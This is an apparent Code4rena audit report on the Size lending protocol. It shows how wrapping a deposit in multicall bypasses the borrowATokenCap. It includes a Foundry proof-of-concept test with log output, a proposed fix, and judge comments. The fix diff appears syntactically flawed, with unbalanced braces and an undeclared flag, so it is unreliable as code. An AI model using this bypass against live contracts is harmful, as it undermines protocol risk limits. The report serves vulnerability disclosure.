The borrowATokenCap can be bypassed when deposit is called by using multicall.

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/CapsLibrary.sol#L19-L44
https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/actions/Deposit.sol#L80-L82
https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/Multicall.sol#L40-L42

Vulnerability details

Impact

Users can bypass configured borrowATokenCap when deposit underlying borrow token token via multicall even when it is not utilized for repaying debt.

Proof of Concept

When users deposit the underlying borrow token, it will be checked if the total supply of borrowAToken after the user's action does not exceed the configured borrowATokenCap.

https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/actions/Deposit.sol#L81

    function executeDeposit(State storage state, DepositParams calldata params) public {
        address from = msg.sender;
        uint256 amount = params.amount;
        if (msg.value > 0) {
            // do not trust msg.value (see `Multicall.sol`)
            amount = address(this).balance;
            // slither-disable-next-line arbitrary-send-eth
            state.data.weth.deposit{value: amount}();
            state.data.weth.forceApprove(address(this), amount);
            from = address(this);
        }

        if (params.token == address(state.data.underlyingBorrowToken)) {
            state.depositUnderlyingBorrowTokenToVariablePool(from, params.to, amount);
            // borrow aToken cap is not validated in multicall,
            //   since users must be able to deposit more tokens to repay debt
            if (!state.data.isMulticall) {
>>>             state.validateBorrowATokenCap();
            }
        } else {
            state.depositUnderlyingCollateralToken(from, params.to, amount);
        }

        emit Events.Deposit(params.token, params.to, amount);
    }

https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/CapsLibrary.sol#L52-L58

    function validateBorrowATokenCap(State storage state) external view {
>>>     if (state.data.borrowAToken.totalSupply() > state.riskConfig.borrowATokenCap) {
            revert Errors.BORROW_ATOKEN_CAP_EXCEEDED(
                state.riskConfig.borrowATokenCap, state.data.borrowAToken.totalSupply()
            );
        }
    }

However, this can be bypassed by calling the deposit operation via multicall. When deposit is called inside multicall, the validateBorrowATokenCap check will be skipped and validateBorrowATokenIncreaseLteDebtTokenDecrease check performed after the multicall operation is completed. It will only ensure that the borrowATokenSupplyIncrease (transferred borrow token from the repay operation) is not greater than the debtATokenSupplyDecrease (burned debt from the repay operation).

https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/CapsLibrary.sol#L19-L44

    function validateBorrowATokenIncreaseLteDebtTokenDecrease(
        State storage state,
        uint256 borrowATokenSupplyBefore,
        uint256 debtTokenSupplyBefore,
        uint256 borrowATokenSupplyAfter,
        uint256 debtTokenSupplyAfter
    ) external view {
        // If the supply is above the cap
        if (borrowATokenSupplyAfter > state.riskConfig.borrowATokenCap) {
            uint256 borrowATokenSupplyIncrease = borrowATokenSupplyAfter > borrowATokenSupplyBefore
                ? borrowATokenSupplyAfter - borrowATokenSupplyBefore
                : 0;
            uint256 debtATokenSupplyDecrease =
                debtTokenSupplyBefore > debtTokenSupplyAfter ? debtTokenSupplyBefore - debtTokenSupplyAfter : 0;

            // and the supply increase is greater than the debt reduction
>>>         if (borrowATokenSupplyIncrease > debtATokenSupplyDecrease) {
                // revert
                revert Errors.BORROW_ATOKEN_INCREASE_EXCEEDS_DEBT_TOKEN_DECREASE(
                    borrowATokenSupplyIncrease, debtATokenSupplyDecrease
                );
            }
            // otherwise, it means the debt reduction was greater than the inflow of cash: do not revert
        }
        // otherwise, the supply is below the cap: do not revert
    }

But it not considering scenario where users not performing repay operation (both borrowATokenSupplyIncrease and debtATokenSupplyDecrease) is 0. Means user can bypass the borrowATokenCap without doing repay operation.

PoC :

Add the test inside Multicall.t.sol, add import "forge-std/console.sol"; at the top of the file :

    function test_Multicall_bypass_cap_without_reduce_debt() public {
        _setPrice(1e18);
        uint256 amount = 100e6;
        uint256 cap = amount + size.getSwapFee(100e6, 365 days);
        _updateConfig("borrowATokenCap", cap);

        uint256 capConfigured = size.riskConfig().borrowATokenCap;
        console.log("configured cap :");
        console.log(capConfigured);

        _deposit(alice, usdc, cap);
        _deposit(bob, weth, 200e18);

        _buyCreditLimit(alice, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0.1e18));
        uint256 debtPositionId = _sellCreditMarket(bob, alice, RESERVED_ID, amount, 365 days, false);
        uint256 futureValue = size.getDebtPosition(debtPositionId).futureValue;

        vm.warp(block.timestamp + 365 days);

        assertEq(_state().bob.debtBalance, futureValue);

        uint256 remaining = futureValue - size.getUserView(bob).borrowATokenBalance;
        _mint(address(usdc), bob, remaining);
        _approve(bob, address(usdc), address(size), remaining);

        uint256 supplyBorrowBefore = IERC20Metadata(size.data().borrowAToken).totalSupply();
        console.log("total supply before : " );
        console.log(supplyBorrowBefore);
        console.log("bob debt before : ");
        console.log(_state().bob.debtBalance);

        // attempt to deposit to repay, but it reverts due to cap
        vm.expectRevert(abi.encodeWithSelector(Errors.BORROW_ATOKEN_CAP_EXCEEDED.selector, cap, cap + remaining));
        vm.prank(bob);
        size.deposit(DepositParams({token: address(usdc), amount: remaining, to: bob}));   

        // deposit without paying debt will bypass cap
        bytes[] memory data = new bytes[](1);
        data[0] = abi.encodeCall(size.deposit, DepositParams({token: address(usdc), amount: remaining, to: bob}));
        vm.prank(bob);
        size.multicall(data);
        uint256 supplyBorroAfter = IERC20Metadata(size.data().borrowAToken).totalSupply();
        console.log("total supply after (multicall deposit only) : " );
        console.log(supplyBorroAfter);

        console.log("bob debt after : ");
        console.log(_state().bob.debtBalance);
    }

Run the test :

forge test --match-test test_Multicall_bypass_cap_without_reduce_debt -vvv

Log output :

Logs:
  configured cap :
  100500000

  total supply before : 
  100500000

  bob debt before : 
  110552764

  total supply after (multicall deposit only) : 
  111052764

  bob debt after : 
  110552764

It can be observed that total supply exceed configured cap even without reducing caller debt.

Tools Used

Manual review

Recommended Mitigation Steps

Add validateBorrowATokenCap check inside validateBorrowATokenIncreaseLteDebtTokenDecrease if debtATokenSupplyDecrease is 0 (no repay operation) and deposit is called inside multicall (additional flag can be added when deposit is called inside the multicall).

    function executeDeposit(State storage state, DepositParams calldata params) public {
        address from = msg.sender;
        uint256 amount = params.amount;
        if (msg.value > 0) {
            // do not trust msg.value (see `Multicall.sol`)
            amount = address(this).balance;
            // slither-disable-next-line arbitrary-send-eth
            state.data.weth.deposit{value: amount}();
            state.data.weth.forceApprove(address(this), amount);
            from = address(this);
        }

        if (params.token == address(state.data.underlyingBorrowToken)) {
            state.depositUnderlyingBorrowTokenToVariablePool(from, params.to, amount);
            // borrow aToken cap is not validated in multicall,
            //   since users must be able to deposit more tokens to repay debt
            if (!state.data.isMulticall) {
                state.validateBorrowATokenCap();
-            }
+            } else 
+                depositInMulticall = true;
+            } 
        } else {
            state.depositUnderlyingCollateralToken(from, params.to, amount);
        }

        emit Events.Deposit(params.token, params.to, amount);
    }

    function validateBorrowATokenIncreaseLteDebtTokenDecrease(
        State storage state,
        uint256 borrowATokenSupplyBefore,
        uint256 debtTokenSupplyBefore,
        uint256 borrowATokenSupplyAfter,
        uint256 debtTokenSupplyAfter
    ) external view {
+            uint256 debtATokenSupplyDecrease =
+                debtTokenSupplyBefore > debtTokenSupplyAfter ? debtTokenSupplyBefore - debtTokenSupplyAfter : 0;
        // If the supply is above the cap
        if (borrowATokenSupplyAfter > state.riskConfig.borrowATokenCap) {
            uint256 borrowATokenSupplyIncrease = borrowATokenSupplyAfter > borrowATokenSupplyBefore
                ? borrowATokenSupplyAfter - borrowATokenSupplyBefore
                : 0;
-            uint256 debtATokenSupplyDecrease =
-                debtTokenSupplyBefore > debtTokenSupplyAfter ? debtTokenSupplyBefore - debtTokenSupplyAfter : 0;

            // and the supply increase is greater than the debt reduction
            if (borrowATokenSupplyIncrease > debtATokenSupplyDecrease) {
                // revert
                revert Errors.BORROW_ATOKEN_INCREASE_EXCEEDS_DEBT_TOKEN_DECREASE(
                    borrowATokenSupplyIncrease, debtATokenSupplyDecrease
                );
            }
            // otherwise, it means the debt reduction was greater than the inflow of cash: do not revert
        }
        // otherwise, the supply is below the cap: do not revert
+        if ( depositInMulticall && debtATokenSupplyDecrease == 0) validateBorrowATokenCap(state);
    }

Assessed type

Context

[aviggiano]

This issue identifies the surface of the bug but fails to identify its root cause and to provide a good recommendation.

Duplicate of #144

Fixed in SizeCredit/size-solidity#126

[c4-judge]

hansfriese marked the issue as satisfactory

[c4-judge]

hansfriese marked the issue as duplicate of #144

[c4-judge]

hansfriese marked the issue as duplicate of #238